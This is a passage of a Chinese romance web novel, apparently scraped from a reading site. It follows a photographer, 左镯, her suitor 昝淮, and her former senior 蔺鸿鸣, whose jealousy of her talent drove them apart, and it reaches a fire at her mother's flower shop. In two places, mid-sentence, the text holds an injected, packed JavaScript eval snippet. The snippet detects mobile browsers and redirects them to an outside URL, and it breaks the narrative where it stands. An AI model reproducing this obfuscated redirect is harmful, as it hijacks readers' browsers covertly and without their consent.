左镯被眼前的景色深深吸引,她虽然世界各地跑,也去过非洲几次,但东非却是她并未涉足过的地方。 昝淮看着她眼睛发亮的模样,捂嘴笑了起来。 “你先看看菜单,之后我再带你转转这个餐厅。”说着,将菜单递到她面前。 左镯结果菜单,翻阅起来。过了一会,手边突然多了一杯温水,她抬起头,正好对上撞进昝淮的眼睛,灯光在他眸底跳跃,映出她微红的面颊。 “他们家的菜需要一些时间。你先喝点温糖水,小心低血糖。” “谢谢。”她端起温水,小口啜饮。暖流下肚,感觉到身体不仅回暖,甚至精神状态也好了许多了。 昝淮落了座,状似随意地问道:“怎么样,有没有看中什么有意思的菜想试试?” “有几个非常不错,”左镯立刻接过话题,“第一个是埃塞俄比亚咖啡炖羊肉,咖啡和香料的浓郁完美中和了羊肉的膻味,口感非常独特。第二个是肯尼亚传统菜Irio,是一种土豆泥和豌豆、玉米的混合物,配上新鲜的蔬菜,清爽又饱腹!还有这个香辛咖啡,美式咖啡加上香料和辣椒,喝起来味道想必十分有趣。” 左镯滔滔不绝地介绍着,眉飞色舞的神情看得出她对美食的热爱。昝淮撑着下巴听她说,不时附和两句,却始终目不转睛地盯着她,将她兴奋的模样尽收眼底。 “看来你对东非也很有研究。”他状似不经意地问,话里有话。 左镯摸了摸鼻子:“嗯,之前去非洲取材时,吃过几次当地美食,留下了很深的印象。只是东非还没去过,这次算是满足我的好奇心了。” “那我们就点这几样,可以分着吃,这样你想尝试的都可以吃到了。”昝淮挥了挥手,叫来了服务生,吩咐了下去。 左镯看着他丝滑地安排好了一切,突然说了一句:“昝淮,你应该交往过不少人吧?” 昝淮照顾人的手段可以说是无微不至、细致入微,这样体贴的男朋友可不多见,想必追求他的人不在少数。 昝淮愣了一下,随即失笑:“你免把我想得太花心了。”他顿了顿,眼神幽深地望进左镯眼底,“其实我只认真交往过一个女朋友,还是在读书时期。” “哦?我倒是开始好奇是怎样的人能够获得你的倾心。”左镯由衷地说道。 “她啊……”昝淮认真地看着左镯,手指不觉轻轻敲着桌子,“她很漂亮,非常的漂亮。” 左镯失笑,“原来你还是个外貌党。” 昝淮摇了摇头,“我自己也说不清,她有很多缺点——恣意妄为,不收拾屋子,爱使唤人。可是我就是很喜欢她,只要能每天看着她,对我来说就够了。” 情不知所起,一往而深。 能被这样地怀念着,深爱着,竟让左镯感觉到一丝艳羡。她突然意识到这冷不丁冒出来的想法,微微一愣,随即又甩了甩头,挥开了这个想法。 “只是她突然丢下我出国了,我直到现在都想问问她,”昝淮一字一句地说着,盯着左镯,不知为何竟让她觉得,自己才是被问的那个人。 “你究竟有没有爱过我,还是只是把我当做受伤时期的一颗止痛药?” 12. 阴暗荆棘 机场是一个十分特殊的场所。 在这里,有人久别重逢,有人依依不舍,有人彻底错过,有人含恨决裂…… 每一天,都有无数的悲欢离合在这里上演。 蔺鸿鸣对这里着迷。 即使没有航班行程,他抽空都会来到这里。甚至因为这个习惯,他搬家到了机场附近的公寓里,即使每天上班都得开车一个小时,也乐此不疲。 在机场,除了工作之外的时刻,他会选择点一杯咖啡,坐在椅子上,看着往来匆匆的旅人,见证无数的偶遇和错过,在命运的舞台上演。 小说里说凶手都会回到现场,那他这个亲手杀死自己恋情的凶手,也无怪乎会频繁返回这个,如同梦魇一般困扰他七年的地方。 七年前当他费劲全身力气奔跑,赶到机场时,看见左镯独自一人瘦小的身影,消失在海关处的时候,他还不知心里涌起的那股情感是什么。 喉咙因为奔跑而产生的一丝腥甜,充斥在他的口腔里。他大口地喘着气,视线都有些许模糊,可那个人影却像是烙印在视网膜上,即使周遭模糊,唯独她清晰地如同掌心的纹路一般。 海关将他拦在门外,他喊着左镯的名字,却依旧没有见到她回头。这个身影和那一日决裂时重合,只是没有了烧焦底片的灰烬,耳边只有机场里无尽的广播声,将他的喊声淹没。 后来无数次的梦回,他都回到了这个机场。 在梦里,他拉住了左镯,将她拦下。那个清澈如星空般的眼眸里只盛着他一个人的影子,一如过往他们相识的所有岁月里,她一直所做的事。 只是这次,他没有选择无视那星辰,而是攥紧了那双手,将她拥入怀里细细地亲吻,描摹着她的唇形。他会用手将她的眼睛盖上,温柔地哄骗她闭上双眼,将自己交给他,将心交于他。 可每到这个时候,他都醒了。醒来的时候,只有沉沉的月色,海市的天空看不见星辰,偶尔闪烁的几点光斑,也不过是卫星反射的人工光源,虚幻而苍白。漆黑的夜空里空无一物,空落落地和睡醒时候的心一般。 蔺鸿鸣不是没有想过去法国找左镯,他一直知道她选择去法国进修摄影。可那时候的自己无法放下高傲的头颅,明知道一张机票就能见到,他依旧没有前往。 年少的蔺鸿鸣一直赌着一口气,而这口气是他看不清自己心意的一道劫。 蔺鸿鸣的人生一直都是一条坦途。一路尖子生,不论什么兴趣爱好都是一点就通,成为学校达人,奖拿得永不手软。学校里他的人气永远最高,毕竟,谁会不喜欢一个优秀又好为人师,永远施与援手的英俊学长呢? 可是,这一切的骄傲都在遇到真正的天才时,打碎一地,自惭形秽。 当他教左镯摄影的时候,也一如曾经教过无数的学弟学妹一样,享受在他们钦慕的目光里。他一步一步,从最简单的参数开始教起,再给她讲述摄影史,介绍他喜欢的摄影大师的风格,享受着她对他日益水涨船高的崇拜。 然而,随着时间的推移,他慢慢发觉了左镯的不一样。那一日他就和往常一样,前往相机冲洗馆取照片,老板王师傅见到他,老远就迎了出来。 “鸿鸣,你最近摄影水平进步很大啊!”王师傅挥着手里的底片,“你这些照片和之前完全不是一个水平,你是怎么开窍的!快和我分享分享!” 王师傅经营这间老式摄影楼囍楼已有三十多年,他的手艺不用说海市,即使是全国都是赫赫有名的。在见证了这么多大师的作品后,还能被王师傅夸奖,蔺鸿鸣的心像是鸣动的战鼓一般,热血沸腾。 “王师傅你过奖了,最近可能拍得多了,积少成多,顿悟了。”他不好意思地摸摸后脑勺,可内心却是得意满满。 “对我还谦虚个什么劲!我以前老觉得你的作品有点书卷气,就是那种模仿大师却还有点粗糙的味道。不过看在你一腔热血投注在摄影上,我也没好意思直说,”王师傅重重地拍了拍了他的背,“不过这次让我大为改观!这次虽然技术方面有些许失误,但是意境和选材方面太出乎我意料了,那种铺面而来的野生情绪,是我这些年在年轻摄影师里第一次体验到的!你这小小年纪,看来不得了了啊!” 蔺鸿鸣原本的澎湃的心潮,随着王师傅的话,越来越沉。他从来没想过原来自己鸣鸣得意的作品,在王师傅眼里是那么的拙劣,这种东施效颦的技法,他还奉为圭臬,教给了那么多的后辈。 而且……他虽然拍摄上俗套,但技法方面他一向自信,这点连王师傅之前也从未提过,怎么会…… 不安的声音在心里越来越响,他迫不及待地接过那叠照片,想要一探究竟。然而,当他仔细端详那些作品时,脸上的笑容却渐渐凝固了。 风吹破湖面瞬间破碎的月色,旧书摊上疲倦的、如同被困在时间里的老人,废弃游乐场里丛生的杂草里开出的花…… 这一切,都不是他蔺鸿鸣会去注意的视角。 叙事寡淡,不恢弘,这种小儿科的东西,这种充斥在日常里的简单捕捉,凭什么会得到那么高的评价。 他不信。他的手指狠狠地掐进相纸里,指节用力到泛白,连王师傅都注意到了不对劲。 “怎么了鸿鸣?你没事吧?这照片有什么不对吗?”王师傅见他脸色不对,一脸关切地问道。 蔺鸿鸣勉强扯出一个笑容,摇了摇头:“没事,我就是太高兴了。谢谢王师傅的夸奖,我会继续努力的。” 见他露出笑容,王师傅松了口气,拍了拍他的肩膀鼓劲道:“那我可期待你下次再送一卷来了!加油!” 他想要点头,可是头却如同有千斤重,令他根本无法动作,僵在了当场。 他草草收起照片,找了个借口匆匆告辞。一路上,他的脑海里不断回放着那些作品,犹如梦魇般纠缠不休。 回到家里,他不顾母亲询问的声音,只将自己锁在房门里。房间里的窗帘紧闭,一丝光都透不进来。蔺鸿鸣瘫坐在地上,丧失了语言和思考。 不知过了多久之后,他摸索到地上一盏夜灯的开关,幽蓝的光芒照亮了狭小的空间,把一切都染上了诡异的色彩 地上随意摊着他从王师傅那里取来的照片,在失神了许久后,他终于支撑起身子,强迫自己直视那些作品。 这些照片......分明是左镯拍的。 他认得她独特的构图和色调,认得她捕捉瞬间的敏锐视角。那些生动鲜活的情绪,透过每一帧画面喷薄而出,淋漓尽致地展现了拍摄者的天赋和热情。 而这些,都是蔺鸿鸣所不具备的。他惊觉,自己多年的摄影生涯,竟从未真正触及到摄影的灵魂。他只是在机械地模仿前人,而左镯,却在以自己的方式诠释世界。 为什么? 明明她的摄影技术都是自己教的,怎么转眼间就青出于蓝而胜于蓝了? 为什么自己明明都是和她在一起,却从来没有发觉到这些视角? 为什么她的作品能有这么蓬勃的生命力? 为什么……上天独独眷顾她,赐予她这般惊人的天赋? 蔺鸿鸣无法接受这个事实,或者说他不愿去相信,自己从来没有这个天赋。 他向来是摄影社的灵魂人物,大家公认的摄影天才。他从十岁就开始摆弄相机,洗过上百卷胶片。 可如今,他怎么会输给了一个,刚刚接触摄影不超过半年的女生? 嫉妒和不甘开始在他心中滋长,像一株荆棘,越缠越紧。 他开始有意疏远左镯,不再亲自指导她,而是把她交给其他社员。他甚至会故意挑剔她的作品,用最尖酸刻薄的言辞打击她、否定她。 左镯不知为何他的突然转变,她猜测,或许是自己太过黏人,惹恼了他;又或许,是毕业的压力,让他变得敏感易怒。 但她一向懂事,乖乖地后退一步,不再去烦他。只是继续拍摄着新的作品,等待他心情平复后,看到她的进步。 只不过左镯不知道,她的存在,她的作品就是那根刺在蔺鸿鸣心中的刺,只要在,他就好不了。 直到在美国的一次出行,她喝醉了,瘫在浴缸里,泪水决堤。 左镯紧紧攥住他的衣袖,泣不成声:“我......到底做错了什么?求求你告诉我......不要走......” 蔺鸿鸣望着她悲伤欲绝的脸,冷漠地别开了头。 可她还是缠着自己,那一声声的抽泣就像是控诉他心底的阴暗面,让他烦躁不安。 他的情绪终于决堤,爆发了出来,“是,你的存在就是错误!我嫉妒你,嫉妒你不用做什么就能拍出被人称赞的作品,嫉妒你拥有这样的天赋,嫉妒你这么轻易就超过了我!怎么样!满意了吗?” 蔺鸿鸣歇斯底里地吼道,狰狞的面孔宛如恶鬼。 左镯瞪大了双眼,她的眼眶已经无法再继续承受泪水,随着脸颊滚落而下。 她从来没想过,自己珍爱的人,会说出如此恶毒的话。 那种眼神像一把剑,将蔺鸿鸣劈成两半,将他的阴暗面展露无遗。 不顾左镯的目光,他夺门而出,跑了出去。湾区的夜晚寒冷,可他却毫无感觉,只是不停地跑着,像是身后有什么野兽在追赶自己。 直到他一脚踏入湖里,“F*ck!”他不禁骂出声。 冰冷的湖水刺激得他大脑瞬间清醒,之前如同被恶鬼附身一般的情绪顿时褪去,反而是负罪感如潮水般将他瞬间吞没。 他做了什么?他怎么能对左镯说出那样恶毒的话?那些连他自己都不敢正视的阴暗情绪,就这样赤裸裸地宣泄了出来,刺伤了他最在乎的人。 他闭上眼,左镯因为受伤而瞪大的眼睛却如影随形,钻进他的脑海里,无处不在。 他可真是卑鄙,让她去承担自己所有的负能量,即使她什么事都没有做。 蔺鸿鸣看着湖面上倒映着自己的脸,何时变得如此面目可憎? 可是,脑海中那个高傲的声音却不断告诫他:认输就是懦夫,你怎么能向一个女人低头? 矛盾的力量两边拉扯,蔺鸿鸣终于受不了,一脚踢碎里了湖面里的自己。 对了,只要装作若无其事,假装什么都没发生过,那些见不得人的情绪自然就会烟消云散。 ------------------------------------------------------ 第二天,阳光透过窗帘的缝隙,在地板上投下斑驳的光影。左镯缓缓睁开惺忪的睡眼,宿醉后的头痛欲裂让她忍不住呻、吟出声。她扶着额头坐起身,这才发现自己正躺在蔺鸿鸣的床上。 男人背对着她站在窗前,修长的身影被晨光勾勒出轮廓。听到动静,他转过身来,唇角扬起一抹温柔的弧度。 “醒了?感觉怎么样?”蔺鸿鸣走到床边,体贴地递上一杯温水。 他已经恢复了往日的温柔体贴,一改之前的疏离和冷漠,重新扮演起完美学长的角色。 左镯怔怔地接过水杯,犹豫着抿了一口。温热的液体滑过喉咙,熨帖了宿醉后的不适。 “学长……”她的声音有些嘶哑,像是被砂纸打磨过。“昨晚……发生了什么……我怎么会在这里?” “左镯,昨晚你喝醉了,说了些胡话,还吐得一塌糊涂……”他状似关切地说,眼底却闪过一丝心虚,“幸亏我照顾了你一整夜,不然后果不堪设想。” 说着,他递给她一张温热的帕子,提醒她擦一擦因为昨日情绪崩溃而弄花的脸。 左镯闻言脸上一阵青一阵白,难道自己发了酒疯?她斜眼瞥了一下镜子,映出的人影憔悴不堪,乱糟糟的头发和哭肿的双眼无不昭示着她的失态。 天呐,这个鬼样的自己竟然被学长看到,还要不要见人了? 蔺鸿鸣似是猜到她的所想,反而调笑道:“现在知道害羞了?那你以后注意点,给我封口费。” 见蔺鸿鸣久违的玩笑,左镯一时竟有些反应不过来。前段时间的疏远和冰冷如同是在做梦,那个让她崇拜着迷的学长又回来了。 “学长,你别开我玩笑了……”左镯结结巴巴地说道,脸颊烧得通红,将头埋进曲着的腿间,像只受惊的鸵鸟。可她又忍不住,悄悄地露出一双眼睛,小心地张望,却没想到正对上蔺鸿鸣的眼。 蔺鸿鸣被她这个可爱的举动逗得忍不住笑了起来。 那个久违爽朗的笑声,让房内的两人都深深地松了一口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477951|141955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左镯也跟着笑了起来。 她笑,是因为喜悦。可她却从不知道,蔺鸿鸣的内心是经历过多少的弯弯绕绕,才能这样如释重负。 蔺鸿鸣眉眼弯弯,散发着久违的温柔。他伸手揉了揉左镯的发顶,语气里满是宠溺:“骗你的,逗你玩呢。” 熟悉的玩笑让左镯恍然回到了从前。她鼓起勇气,小心翼翼地看向蔺鸿鸣,试探着问:“学长,你是不是......不生我的气了?” 蔺鸿鸣怔了一下,随即意味深长地笑了笑。他没有正面回答,只是伸手捏了捏她的脸颊:“傻丫头,我怎么会生你的气。” 可突然之间,脑海里一些零碎的片段闪现,左镯感觉到那些模糊的记忆和不连贯的碎片闷闷地困在脑中的抽屉里,想要跳出来。 她抿了抿干裂的嘴唇,犹豫着开口:“学长,昨天是不是发生了什么……” “什么都没发生,别多想。”蔺鸿鸣干脆地打断她,语气笃定得容不得半点质疑。“你喝多了,我照顾了你一晚上,仅此而已。” “你现在要做的,是好好休息。以后别再喝那么多了。” 蔺鸿鸣的语气虽然温柔,但却带着一丝不容置喙的味道。 “我先走了。” 说完,他头也不回地离开了,仿佛急于逃离这个令人窒息的空间。房门合上,将左镯和那些凌乱的记忆一同锁在了身后,似乎多待一秒,他的伪装就会分崩离析。 左镯呆坐在床上,眼神空洞地望着紧闭的房门。阳光洒在她身上,温暖却没有实感。蔺鸿鸣反常的举动,让她隐隐觉得有什么地方不对劲,可一时之间,她又说不上来。 她烦躁地抓了抓头发,试图从混沌的大脑里搜刮昨晚的记忆。可她越是努力回想,那些片段就越是支离破碎。唯一清晰的,只有蔺鸿鸣那双深邃的眼睛,里面翻涌着说不清道不明的情绪。 而门外,蔺鸿鸣翻来覆去看着手里的信封,里面沉甸甸的装着的是他的心魔。 只有把这个寄出去,才能让自己直视这一切,直视他们之间能力和天赋的真正差距。 他深吸了一口气,将信封丢进了邮筒里。包裹碰到邮筒底部发出的回音,是无数次他回望深渊里,跨越时间而对他的回音。 他终于推了自己一把。 只是蔺鸿鸣不知道,这个包裹,将他从嫉妒的心魔里救了出来,却也成了最终断了他和左镯之间缘分的一把刀,将他们曾经的回忆切割得分崩离析。 七年后的今天,他看着左镯在摄影道路上越走越远,成了世界顶级的摄影师。而他,却困在原地,做着与摄影无关的工作。 天赋是难以作假的,上天早就安排好了后面的路。他亲自推开了那个闪闪发光的女孩,眼睁睁地看她在世界的另一端高飞。 蔺鸿鸣将装满了曾经相片的电脑合上,苦笑了几声。他靠在椅子上,头望着天花板,脑海里想着的都是那日左镯在风暴洋的话。 “抱歉。” 空中传来飞机起飞轰鸣的声音。 面前突然闯来一个女孩,她背着鼓鼓的双肩包,拖着笨重的行李箱,气喘吁吁地奔跑着,汗水顺着她的额角流下,打湿了鬓发,却突然在面前狠狠地摔倒。 行李箱“咣当”一下砸在地板上,发出刺耳的巨响。 蔺鸿鸣下意识地起身,想上前搀扶。但一个身影抢先冲了出去,那是个年轻男生,神色焦急地跑到女孩身旁。 “没事吧?”他蹲下身,小心翼翼地扶起女孩。掌心的温度透过单薄的衣料传来,带着令人安心的热度。 女生看清了面前男生的脸,“哇”地一声哭了起来。 “怎么办,飞、飞机......飞走了.....”女孩语无伦次地抽噎着,肩膀随着哭泣一抽一抽的,看起来十分可怜,“我要怎么上学啊……” 男生叹了口气,从口袋里掏出一包纸巾,一张一张地替她拭去泪水。女生吸了吸鼻子,一把抢过他的手到鼻腔处,毫不客气地擤了一下鼻涕。 那样子,蔺鸿鸣都抖了一抖。 可那男子却毫不介意,还拍拍她的后背,让她的气顺一点。 “好啦,别哭了。飞机错过就错过了,那你不如就留下来吧。” “留下来干嘛呀,都没学上了!哇啊……”女孩抬起哭得通红的眼睛,楚楚可怜地望着他。 那男生眼珠子转了转,有意无意地说道:“你可以来我的学校,和我一起……” “你学校那么好,我哪里考得上啊!你又酸我,我都这么惨了!” “谁说的?”男生伸手刮了刮她的鼻尖,狡黠一笑,“我会陪你复习。在我亲自监督,就不信你考不上!” 原本还在痛苦的女生突然噤了声,盯着面前的男生,好像在确认是不是在做梦。 “为什么……对我这么好?” 那男生笑了,敲了敲她的脑袋,“就是想对你好啊!” 女生狐疑地反复看着他,犹豫再三后问道:“你是不是喜欢我啊?不然为什么无故对我这么好?” 男生故意侧过头不回答,故意让自己显得很忙,将她因为摔倒而散落一地的行李收拾好。 只是他红得如烧红的铁块般的耳朵,却泄露了秘密心事。 蔺鸿鸣在远处看着这对隔着窗户纸摸索的年轻小恋人,像是看见了七年前。 如果那个时候左镯也没有赶上飞机,而他坦诚和她解释一切,会不会就像他们一样? 这时他的手机突然一震,他低头看了一眼,上面说的是关于左镯摄影展的媒体发布会的事项。 时间和地点都已经敲定了,马上就要展开了。 如果这次策展结束了,他还会有什么理由继续与她交往吗? 蔺鸿鸣再次抬起头,面前的那对小情侣已经站了起来。女生还在纠缠着问男生究竟有没有什么坏心眼,似是不相信他对自己的好。而男生一面回避着她的追问,一面却用手虚虚地环着她的腰,让她靠得自己再紧一些。 阳光洒在他们身上,为这对恋人镀上一层金边。从影子上看,他们的身影交叠,如此亲昵,如此甜蜜,令人艳羡不已。 蔺鸿鸣握紧了手机,终于拨通了那个自己躲避了许久的号码…… 13. 渣男(新章节) 对于左镯来说,周末在早上8点以前起床,除非天塌了,或者是靳磊又要讨打了,不然不可能发生在她身上。可当她看着天边翻起了鱼肚白,才意识到,自己真的失眠了。 “她很漂亮,非常的漂亮。” 昝淮的声音又在脑海里回响,这句话不知在她脑海里播放了多少遍,就像一台坏掉的留声机,反复在同一个节点来回播放,甚至还是内置电源无法关机,整整一夜无法停止。 “她那么漂亮,你就去追啊!招惹我干嘛……” 左镯“呔”地一声,将口中的泡沫吐到水槽里,漱了漱口。洗手间的镜子里反射着一个素颜的自己,左镯不禁凑近镜子,仔细打量着自己的脸庞。她的五官依旧精致漂亮,高挺的鼻梁,轮廓分明的下颌线,还有那双总是被秦岫称赞为“勾人”的眼睛。但如果仔细观察,皮肤似乎比以前粗糙了一些,眼睛下方隐约可见淡淡的黑眼圈,是长期睡眠不足的痕迹。 “难道真的上年纪了?”她暗自思忖,手指按压脸颊,试图确认胶原蛋白的存在。 昝淮的声音和眼含恋慕的眼神又闯入脑海,那个“非常漂亮”的女人,是什么模样的?皮肤无瑕光滑?娇俏可人? 左镯猛地摇了摇头,恼火地瞪着镜子中的自己。 想什么呢?因为他的一句话而容貌焦虑?真不像是平常的自己。 “啪”地一声,她将一掊水砸在镜子上,像是一把刀将镜子上的形象切割粉碎,再也看不清。镜子对她的迁怒不甘示弱,飞溅的水花报复性地溅了她一脸。 自作孽。 左镯用毛巾将满脸的水渍抹去,再抬眸,镜子上水痕切割的人影已经渐渐又清晰起来——一个咬着嘴唇,脸带无能愠怒的女人,是镜子对她刚才那段举动的最大嘲笑。 手机发出的短信提示音及时地制止了左镯自我纠结,她低头扫了一眼,是秦岫。 “Honey,明天晚上有空吗?带你去听爵士乐,顺便来个doubledate(双重约会)~”秦岫甜腻腻的声音从外放喇叭里传来,令左镯大清早就打了个寒颤。 她拿起手机,面无表情地回道:“有空,但哪来的doubledate?” 不到十秒,左镯没有等来秦岫的回信,反而是她的来电。 她才刚接起,秦岫大小姐的调侃声如黄油般滑进了耳道,“哦哟,今天太阳打西边出来了啊?” “你分得清东西南北吗?你个只会‘前后左右’的南方人。”左镯不留情面地愣愣回击。 “今天吃炸药了?”秦岫没跟她置气,反倒觉得有趣起来,毕竟能看到左镯这样发火,必有大事,“怎么,和小弟弟交往不顺利?” “没有的事。”左镯朝天翻了个白眼,突然意识到自己这句话有歧义,赶紧澄清道,“我哪有和小弟弟交往?” “就是那个‘ZZ’啊。” “啊?谁啊?” 平时缜密的左镯今天说话竟然装傻,平时都只有秦岫被她嘲笑的份,如今算是地位反转了。 “别装,你知道我是在说谁。”秦岫调笑道,“我现在手里有两张票,是你最喜欢的爵士组合‘DoubleDown’疫情后的首演,要不要来看,自己掂量。” 听到组合名字,左镯立刻两眼放光,“你早说啊,我去!” “不是白去的哟,”秦岫见她起了兴致,打算坐地起价,“这是情侣座票,必须带伴。” “你就可以做我的伴嘛。”左镯打算做些最后挣扎。 “我可不像你孤家寡人,”听着秦岫的语气,左镯感觉都看见了这个大美人正在轻撩头发,大放魅力,“我有伴了,你别来打扰我们的两人世界。” “……” 在见色忘义这一方面,秦岫可以说是毫无良心。 “明天晚上七点半,东方艺术中心大厅哟。”秦岫的声音柔柔的,但狠话却毫不逊色,“不带人来,不要怪我不带你入场。” 好吧,如果说是别人,左镯还可能抱着侥幸心理,蹭个同情分,央着放她一人进去。可若是秦岫……她最好还是不要想着投机取巧。 可是,让她去邀请昝淮?那个令自己失眠了一夜的罪魁祸首?还不如自己买票入场呢! 只是老天爷似乎开了玩笑,各大订票网站都显示——票已售罄。 左镯并不死心,正准备尝试黄牛票的时候,就像是心有灵犀一般,微信上突然闪过了一个刺眼的名字。她并不想看,几乎是下意识地闭上眼睛,等着那个消息预览的方块消失在眼前,似乎这样就能当做它没来过。 她勉强集中精神继续看票信息,可脑子里却总是想着别的事,令视线无法聚焦。刚才飞速而过的信息,早已被眼睛接受,信号传送到脑子里化成了一颗挠人的刺,令她浑身不舒服。 当断不断,必受其乱。 左镯深吸了一口气,点开了聊天框。昝淮的企业微信头像不知道何时变成了他的侧颜,明明她记得上次加的时候,是系统的默认头像。 ZH-月擎:【在吗?】 左镯面无表情,手指打得飞快:【您好,请问什么事?】 一个“您”字,又尊敬又礼貌,同时又疏离得近乎避嫌。 对方似乎也捕捉到了左镯的这一丝别扭的情绪,屏幕上“输入中……”闪烁了许久,也不知是在斟酌用词,还是在打着长篇大论。左镯快要失掉耐心时,一个新的小气泡弹出。 画面上是“DoubleDown”的海报以及一张电子票的二维码。 ZH-月擎:【记得你最喜欢爵士乐,这次表演你会喜欢的。】 然后呢?左镯盯着屏幕,等待着他的下文。 在这种情况下,一般的男人都会来一句“我想请你一起看”,毕竟以利诱之,天经地义。左镯当然知道这不是单纯的送票,接下了,便是答应了再次约会。 那他们俩的关系,就更是说不清了。 她准备等着昝淮的那句邀约,然后果断地给出拒绝。可当她都快把手机盯出个洞来,也没等到那句话。 他似乎就把票丢给了她,来不来都随她。 左镯感觉到一阵挫败,是一种方向盘不受掌控的恼怒,一种被人玩弄于股掌之中的不甘。她的眼角瞥见镜子里的自己,灰色的、头发分叉如同长出了蛇,像是神话里的怪物。 一瞬间的情绪上脑,潘多拉打开了魔盒。 ZHUO:【我那天已经有安排了,谢谢您的好意。】 ZHUO:【对了,我的企业微信一般是用于公事,希望我们彼此保持professional(专业性)。】 几乎是发出去的瞬间,左镯就感觉到自己身体的力气被抽走。她犹豫了一会儿,手指在气泡上流连许久,还是没按下那个撤回。 对面,没有再显示“输入中”。 “烦。” 她把手机甩到一边,也不知道是在生昝淮的气,还是生自己的气。 什么样的人永远无法战胜?过去的或者死去的,因为活在回忆里,什么都会被刷上玫瑰色,什么都可以被原谅。 没有整理好旧感情,就不应该来招惹现在,因为现在永远比不过。 渣男。 坏男人。 狗*。 她心里还没骂过瘾,被可怜丢弃在沙发上的手机又响了起来。左镯的眼睛瞬间睁大。 她并没有做好准备和昝淮通话。他要说什么?自己又该怎么应对? 打电话的人似乎十分有耐心,响了许久都不挂断,最终还是熬赢了左镯的犹豫。她拿起手机翻了过来,看清了来电人名,左镯立刻按下了接听键。 - 左镯赶到城南区“花心花意”的时候,门外还停着红色的消防车。和火焰一个颜色的巨型卡车,醒目也触目惊心,左镯几乎是看到的瞬间,头都不回地就想扎进店里,还是消防员眼疾手快,一把将她拦下。 “我妈妈还在里面!你放我进去!”左镯几乎是失去理智般嘶吼着,挂在消防员的身上反复挣扎,像只失去理智的小兽。 “火已经扑灭了,没有伤员!”消防员试图压制左镯,但她却根本听不进去。 “那你为什么不让我进去!” “我们要进行排查!里面还有很多碎玻璃,危险!” 两人的嗓门越来越大,吸引了周围不少路人的注意力。 “左镯?” 左镯猛地回头,看到母亲左卿玉正站在不远处,歪着头看着她,手里还拿着一束叶子半焦的大丽花。她瞬间泪如雨下,冲上去紧紧抱住母亲。 “妈……你没事吧?”左镯的声音带着哭腔,上下检查着母亲是否有伤。 当时她收到电话说母亲的花店起火时,大脑近乎是瞬间停滞,眼前是白光一片,空洞又闪烁得令人想要干呕。 幸亏老天爷还是善待她,母亲好好地站在自己面前,什么事都没有。 “哎呀,别哭了,你的眼泪都要弄花我的妆了。”左卿玉轻拍着左镯的背,语气里带着一丝娇嗔。 左镯这才仔细打量左卿玉。尽管已过半百,左卿玉的脸上却几乎看不到皱纹。她梳着一丝不苟的发髻,即使经历了火灾,妆容依然精致。身上那件淡紫色的真丝衬衫沾了些灰,但仍掩不住她骄傲的气质——依旧是她印象里那个骄傲的公主样。 “左公主还是这么漂亮。”左镯破涕而笑。 左卿玉见她终于笑了,也不禁舒了口气,拿出手绢,擦干自己宝贝女儿脸上的泪。 “就是花房的制冷设备短路了,没想到还闹得这么大……。” “妈,真的没事吗?要不要去医院检查一下?”左镯还是有些不放心。 左卿玉撅起嘴,做出一副委屈的样子:“你这孩子,我说没事就是没事。我连离婚这种大火都挺过来了,这点算什么?”说着,她还不忘整理一下略显凌乱的衣襟。 左镯哭笑不得,“妈,你还有心情开玩笑。” “本来就没有什么好担心的嘛……”左卿玉故作轻松地耸了耸肩,突然她眼睛一亮,“对了,你看我的新美甲,漂不漂亮!我刚刚做的,处理火宅这种事都没有影响到,这家店技术不错!”她得意地伸出手,展示那闪闪发亮的指甲。 原来是因为做美甲导致没有及时注意到设备短路吗?也不知是幸还是不幸,但至少人没事。 看母亲这幅样子,左镯感觉到既好气又好笑。她不禁想起当年父亲是如何宠爱面前这个娇滴滴的女人,将她宠成了长不大的“小公主”。当然,她也想起离婚后,母亲是怎样在一夜间长大,从一个十指不沾阳春水的公主,变成独自经营花店,扛起养家大任的女强人。 公主的头颅,从来没有低下,她的眼睛永远晶亮,比高定的珠宝还璀璨。 “其实没啥大事,小蔺发现的及时,火还没起多大就叫了消防。”左卿玉说了这么多话,感觉口中有些渴,“对了,你帮我买杯奶茶吧,你知道我最喜欢哪家的。” 可左镯的注意力都被她话里那个“小蔺”吸引了,“小蔺?谁?” “左镯?” 左镯循声望去,惊讶地发现蔺鸿鸣正站在不远处,手里拿着水和伤药。他一如既往地戴着那副金丝眼镜,斯文的长相让他在一片狼藉中显得格格不入。 “学长?你怎么在这儿?” 蔺鸿鸣一开始见到左镯也是惊讶不已,但他很快将沸腾的情绪压制,恢复成往常一般的淡定沉静模样,微笑着走近,“我是来给左阿姨送水和伤药。没想到能在这儿遇到你。” 左卿玉眼睛一亮,热情地迎了上去,“哎呀,小蔺来啦!快来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477952|141955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快来,给我们家左镯介绍一下你自己。” 蔺鸿鸣有些不好意思地推了推眼镜,“呃,左阿姨,我和左镯其实认识的。我是她大学时候的学长,也是她现在摄影展的策展人。” “这么有缘呀!”左卿玉双手一拍,眼中闪过一丝狡黠,目光在两人之间来回梭巡,“原来你们认识啊。怪不得小蔺总来我这儿买花呢。” 左镯明显感觉到左卿玉女士拉媒保牵的兴趣被点燃了,感到一阵尴尬,立刻拉了拉她的衣角,“妈,你别乱说。” 蔺鸿鸣却很自然地接话,“是啊,我也算是左阿姨花店的常客了。每次活动都少不了您店里的花。” 